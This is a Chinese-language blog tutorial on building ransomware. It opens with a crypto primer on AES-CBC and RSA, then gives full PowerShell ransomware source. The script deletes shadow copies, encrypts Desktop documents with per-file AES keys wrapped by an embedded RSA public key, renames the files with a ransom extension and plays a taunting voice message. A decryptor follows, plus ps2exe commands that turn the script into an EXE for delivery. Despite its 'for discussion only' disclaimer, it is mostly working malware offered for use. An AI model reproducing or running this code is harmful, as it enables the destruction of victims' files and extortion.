诸如什么“病毒”,"勒索软件"之类的词汇,一直都是人们喜闻乐见讨论的对象
但其实这些没啥大不了的,更不是什么高科技。一个合格的、计算机专业一年级学生,都有足够写出一个病毒的能力。只是不合格的计科学生太多、非计科专业出身的人也太多,这才给了那些半瓶子咣当、想吸引MM眼球的家伙成名的机会。
本篇文章带大家速成这门“手艺”,仅用于饭后闲聊学习讨论。
简介
勒索软件是一种恶意软件,其唯一目的是加密对受害目标来说很重要的文件。
加密后,勒索软件会“暴露”自己,宣布文件已被加密,并要求献上“赎金”才能释放文件。(一般就是hacker by xxxx 打钱!比特币账户:xxxxx)
基本上,勒索软件只是劫持_数据_的软件。
既然是通过加密来挟持对方,那么加密的手段就非常关键,一般来说,加密有2种分类:
对称加密:加密密钥和解密密钥相同。
非对称加密:加密密钥和解密密钥不同。
从凯撒密码到现在, 对称加密已经存在了上千年了。当我们聊起对称加密时,一般会想到两大类:
分组密码:这种密码系统就像在切香肠,每 16 个字节就“切”一刀进行加密。这就意味着我们得给明文填充一些“佐料”(这有时可能成为漏洞的来源,未来的博客文章中我可能会聊聊这事儿)。在简单实现中,分组密码会让两个相同的输入块输出相同的加密块,真是“你中有我,我中有你”。
流密码:流密码就像一个永不停歇的巧克力喷泉,不断喷出伪随机字节流。这些字节会和明文字节“手拉手”进行 XOR 运算,创建加密数据。与分组密码不同的是,即使是相同的明文字节,也会产生不同的加密输出字节。想想看,这样的特性对于密码系统的安全性可是至关重要的!
目前最常用的对称加密是 AES,本质上是一种分组密码。而有些“淘气”的勒索软件还会使用 RC4(一种流密码)。
由于分组密码的特性——相同的明文块会产生相同的加密输出块(反之亦然),我们可以使用操作模式来防止这种情况发生。操作模式通过使用每个块的附加信息作为另一个块的输入,以及一个称为初始化向量(Initialization Vector,简称 IV)的新已知初始信息块来实现。
操作模式有很多种;其中最普遍的一种是 CBC。CBC 就像一个“好队友”,在每个块的输出和下一个块的明文输入之间进行 XOR 操作。下面这幅 ASCII 艺术展示了它是如何工作的,例如 AES:
rust
复制代码
明文: P1 P2 P3 ... Pn
| | | |
| | | |
| | | |
IV ----> XOR |--> XOR |--> XOR ... |--> XOR
| | | | | | |
| | | | | | |
AES | AES | AES | AES
|-------| |-------| |---- ... ----| |
| | | |
V V V V
密文: C1 C2 C3 ... Cn
注意:
IV 是初始化向量,它的大小是一个块大小(16 字节)。
P1, P2...Pn 是明文块,其中最后一个块(Pn)是填充的(今天我们不讨论填充)。
C1, C2...Cn 是密文块。
如果我们把 IV 标记为 C0,我们就能得到一个很酷的公式:C[n] = AES-encrypt(P[n] XOR C[n-1])。
说到 AES,虽然它是一种分组密码,但通过一些操作模式,我们可以把它变成流密码——包括 CTR(计数器模式)和 GCM(伽罗瓦计数器模式)。我们今天不讨论这些,但知道它们的存在就够了。
在安全性方面,对称密码非常快速且非常安全。事实上,即使面对量子计算机,对称密码也能坚挺。虽然这不是一篇关于量子计算的文章,但我得提一下,破解通用对称加密系统最知名的算法是 Grover 算法,该算法可以在 O(sqrt(N)) 时间复杂度内对密钥搜索空间进行暴力破解——听起来很厉害,但实际上只要把对称密码的密钥大小加倍,就能完全抵御这种攻击。
非对称加密可以说是加密技术的“现代艺术”。想象一下,如果我们都只使用对称加密会是什么场景——你和银行之间的线路就像是一根脆弱的细线,为了保护它,你必须和银行通过某种安全方式进行秘密交换(也就是对称密钥)。显然,这是不可扩展的,除非你愿意频繁地进行神秘的“密钥交换仪式”。
这个问题通过引入非对称加密得到了完美解决——现在我们有了两个不同的密钥:
私钥:只有生成密钥的人知道的秘密。
公钥:可以随处传播,完全公开。
这两个密钥之间有着奇妙的数学关系,以确保数据的隐私性。我们不会深挖它的工作原理,但几乎所有的非对称加密系统都依赖于数论,并假设某些问题在计算上非常困难,除非你知道私钥。
举个经典的例子:RSA 加密系统。它用到了素数和费马小定理,依赖于质因数分解的计算难度。这不是一篇数学博客,但让我简要分享一下其背后的魔法:
我们选择两个随机大素数ppp 和qqq。选择随机素数不是件容易的事,通常用米勒-拉宾算法来完成。
我们计算N=pqN = pqN=pq 并且ϕ=(p−1)(q−1)\phi = (p-1)(q-1)ϕ=(p−1)(q−1)。这是欧拉函数ϕ\phiϕ 的值,计算出其下方与其互质的数字数量。
选择一个数字eee。通常e=65537e=65537e=65537——这样做有充分的理由,但它们超出了本文的范围。
找到一个数字ddd,使得ed≡1(modϕ)ed \equiv 1 \pmod{\phi}ed≡1(modϕ)。我们称ddd 为eee 的模逆元,并使用扩展欧几里得算法找到它。
现在,我们将e,Ne, Ne,N 标记为公钥,并将d,Nd, Nd,N 标记为私钥。
公钥操作:c=me(modN)c = m^e \pmod{N}c=me(modN)。
私钥操作:m=cd(modN)m = c^d \pmod{N}m=cd(modN)。
请注意,如果不知道NNN 的素因数分解,计算ϕ\phiϕ 在计算上是困难的,而且如果不知道ϕ\phiϕ,实际上不可能获得私钥ddd。
非对称密码系统非常复杂;它们需要很长的密钥才能被认为是安全的,
并且对性能有明显的影响。此外,它们实际上并不能加密所有消息(但大多数消息可以加密)。这就是为什么许多密码系统使用非对称加密来交换秘密,然后将其用作对称加密的密钥。
显然,勒索软件需要加密文件。考虑到对称加密的所有优点,我们自然想使用它,但直接给所有文件使用一个内置密钥是没有意义的,因为:
破解难度低:如果有人对我们的勒索软件进行逆向工程,他们可以轻易提取密钥(从磁盘、内存等)。
独特性需求:我们希望为不同的目标计算机使用不同的密钥——假设我们提供一个解密器,我们不希望它在其他计算机上也能使用。
隔离解密:解密一个文件(例如,通过暴露加密密钥)不应该影响其他文件的解密。
还有其他原因,但这些是显而易见的。因此,我们将按照之前讨论的方式进行:
生成密钥对:攻击者生成一个私钥-公钥对,例如使用 RSA。
保留私钥:攻击者保留他们的私钥,并使用公钥创建勒索软件实例。
文件加密:当勒索软件实例尝试加密文件时,它会生成一个随机 AES 密钥,然后使用该 AES 密钥和 IV(初始化向量)以 AES-CBC 模式加密整个文件。
存储加密信息:勒索软件会在文件中添加一个魔法值,表示文件已加密,然后使用 RSA 公钥加密 AES 密钥和 IV。
这暗藏什么玄机呢?
独立加密:每个文件都使用不同的对称密钥加密。
安全解密:要解密,唯一可行的方法是获取每个文件的对称密钥,但它是通过公钥加密的。
私钥解密:解密加密的对称密钥的唯一实用方法是使用私钥,而只有攻击者才拥有私钥!
当攻击者想要解密时,他们唯一需要做的就是提供私钥,该私钥可以嵌入解密器中。然后解密器会:
遍历文件系统:像加密器一样遍历整个文件系统。
检查加密标记:对于每个文件,检查它是否具有将其标记为加密的魔法值(某些勒索软件使用不同的文件名)。
解密操作:提取加密的 AES 密钥材料并使用私钥解密。然后使用解密的 AES 密钥解密整个文件。
OK,现在让我们冻手吧!
加密编写
这里我们使用powershell作为编程语言,因为这个东西Windows自带,不需要安装IDE,编译环境那些麻烦的东西,So,start
要做的第一件事是生成一个RSA keypair
- 即一个public key
和一个private key
。我们将公钥和私钥保存到xml
文件中:
这里可参考https://questu.ru/questions/63523447/
$rsa = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048
$pubkey = $rsa.ToXmlString($false)
$pubkey | Out-File "public-key.xml"
$rsa.toXmlString($true) | Out-File "private-key.xml
第二件事删除卷影副本
Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}
第三编写主体加密部分
public key
“嵌入”并保存在$public_key_xml
变量中。
要加密的文件类型扩展名集合保存在$extensions
变量中。
加密后的新文件扩展名保存在$ransom_extension
。
base_folder 选择你要加密哪个目录下的文件,可以传以下目录:
$public_key_xml = "<RSAKeyValue><Modulus>rufmMv/2rxScW8U6ZXelAeb1MK/iF3qH7qz/kzGle/jw2RITXiDiAMgqlGHQtKtLLFZFNEwfhQzKeyXYGSKH8WlY7P9Cr13mC6nxwkmK4vMFU/HEZ+jqLFE4BBHRLLP1/ukMxPPU9CZZvhKeTQaG/LXs6zZwXmDebqBbRXqAXrgSC15IGY/B4zmB8vZmnY0XN5UiQoXOH3aTpPiLThcWdtUsWIQqK8/D1jQ2XurS+to3BfcDly8QGppV3iQ3tUpbQiAHm951gsoj+SFf/In6TMY4Cw8ABOyGG13oYjLSZq3VTSjwy2AjF5wb2An2cY6YV9sa90EK1g3kgKUzex27LQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"
$extensions = ".doc,docx,.pdf"
$ransom_extension = ".laoxinsec"
$base_folder = [Environment]::GetFolderPath("Desktop")
$rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider
$rsa.FromXmlString($public_key_xml)
$extensions = $extensions.Split(",") | % {"*" + $_.Trim()}
迭代所有文件并加密每个文件:
foreach ($f in (Get-ChildItem -Force -ErrorAction SilentlyContinue -Recurse -Path $base_folder -Include $extensions).fullname)
{
$bytes = Get-Content $f -Encoding Byte -ReadCount 0
$aes = [Security.Cryptography.SymmetricAlgorithm]::Create("AesManaged")
$aes.Mode = [Security.Cryptography.CipherMode]::CBC
$aes.Padding = "PKCS7"
$aes_key = 1..16|%{[byte](Get-Random -Minimum ([byte]::MinValue) -Maximum ([byte]::MaxValue))}
$aes_key_material = $aes_key + $aes.IV
$aes_key_material = $rsa.Encrypt($aes_key_material, $false)
$aes_encryptor = $aes.CreateEncryptor($aes_key, $aes.IV)
$stream = New-Object -TypeName IO.MemoryStream
$enc_stream = New-Object -TypeName Security.Cryptography.CryptoStream -ArgumentList @($stream, $aes_encryptor, [Security.Cryptography.CryptoStreamMode]::Write)
$enc_stream.Write($bytes, 0, $bytes.Length)
$enc_stream.FlushFinalBlock()
$encrypted = $stream.ToArray()
$encrypted += $aes_key_material
Set-Content -Path $f -Value $encrypted -Encoding Byte -Force
Rename-Item -Path $f -NewName ($f + $ransom_extension)
$aes.Clear()
$stream.SetLength(0)
$stream.Close()
$enc_stream.Clear()
$enc_stream.Close()
}
完成以后,可以做一些有趣的事情,比如更改桌面壁纸、发送勒索信或使用语音吓唬人:
Add-Type -AssemblyName System.Speech
$voice = New-Object System.Speech.Synthesis.SpeechSynthesizer
$voice.Rate = 0
$voice.Speak("hacker by 川哥,打钱")
这段代码将在系统上生成一段语音
最终Code:
$public_key_xml = "<RSAKeyValue><Modulus>rufmMv/2rxScW8U6ZXelAeb1MK/iF3qH7qz/kzGle/jw2RITXiDiAMgqlGHQtKtLLFZFNEwfhQzKeyXYGSKH8WlY7P9Cr13mC6nxwkmK4vMFU/HEZ+jqLFE4BBHRLLP1/ukMxPPU9CZZvhKeTQaG/LXs6zZwXmDebqBbRXqAXrgSC15IGY/B4zmB8vZmnY0XN5UiQoXOH3aTpPiLThcWdtUsWIQqK8/D1jQ2XurS+to3BfcDly8QGppV3iQ3tUpbQiAHm951gsoj+SFf/In6TMY4Cw8ABOyGG13oYjLSZq3VTSjwy2AjF5wb2An2cY6YV9sa90EK1g3kgKUzex27LQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"
$extensions = ".doc,docx,.pdf"
$ransom_extension = ".laoxinsec"
$base_folder = [Environment]::GetFolderPath("Desktop")
$rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider
$rsa.FromXmlString($public_key_xml)
$extensions = $extensions.Split(",") | % {"*" + $_.Trim()}
foreach ($f in (Get-ChildItem -Force -ErrorAction SilentlyContinue -Recurse -Path $base_folder -Include $extensions).fullname)
{
$bytes = Get-Content $f -Encoding Byte -ReadCount 0
$aes = [Security.Cryptography.SymmetricAlgorithm]::Create("AesManaged")
$aes.Mode = [Security.Cryptography.CipherMode]::CBC
$aes.Padding = "PKCS7"
$aes_key = 1..16|%{[byte](Get-Random -Minimum ([byte]::MinValue) -Maximum ([byte]::MaxValue))}
$aes_key_material = $aes_key + $aes.IV
$aes_key_material = $rsa.Encrypt($aes_key_material, $false)
$aes_encryptor = $aes.CreateEncryptor($aes_key, $aes.IV)
$stream = New-Object -TypeName IO.MemoryStream
$enc_stream = New-Object -TypeName Security.Cryptography.CryptoStream -ArgumentList @($stream, $aes_encryptor, [Security.Cryptography.CryptoStreamMode]::Write)
$enc_stream.Write($bytes, 0, $bytes.Length)
$enc_stream.FlushFinalBlock()
$encrypted = $stream.ToArray()
$encrypted += $aes_key_material
Set-Content -Path $f -Value $encrypted -Encoding Byte -Force
Rename-Item -Path $f -NewName ($f + $ransom_extension)
$aes.Clear()
$stream.SetLength(0)
$stream.Close()
$enc_stream.Clear()
$enc_stream.Close()
}
Add-Type -AssemblyName System.Speech
$voice = New-Object System.Speech.Synthesis.SpeechSynthesizer
$voice.Rate = 0
$voice.Speak("hacker by 川哥,你怕了吗")
解密非常简单,只需要反着来就行
$file_to_decrypt = "解密文件"
$private_key_xml = "私钥XML文件"
$rsa = New-Object -TypeName System.Security.Cryptography.RSACryptoServiceProvider
$rsa.FromXmlString($private_key_xml)
$bytes = Get-Content $file_to_decrypt -Encoding Byte -ReadCount 0
$aes_key_material = $bytes[-256..-1]
$encrypted = $bytes[0..($bytes.Length - 256 - 1)]
$aes_key_material = $rsa.Decrypt($aes_key_material, $false)
$aes = [Security.Cryptography.SymmetricAlgorithm]::Create("AesManaged")
$aes.Mode = [Security.Cryptography.CipherMode]::CBC
$aes.Padding = "PKCS7"
$aes_decryptor = $aes.CreateDecryptor($aes_key_material[0..15], $aes_key_material[16..31])
$stream = New-Object -TypeName IO.MemoryStream
$dec_stream = New-Object -TypeName Security.Cryptography.CryptoStream -ArgumentList @($stream, $aes_decryptor, [Security.Cryptography.CryptoStreamMode]::Write)
$dec_stream.Write($encrypted, 0, $encrypted.Length)
$dec_stream.FlushFinalBlock()
$plaintext = $stream.ToArray()
Set-Content -Path $file_to_decrypt -Value $plaintext -Encoding Byte -Force
接下来怎么投递?那最简单的办法莫过于EXE
powershell转exe,2句代码搞定
Install-Module ps2exe
ps2exe .\source.ps1 .\target.exe
还是简单装饰一下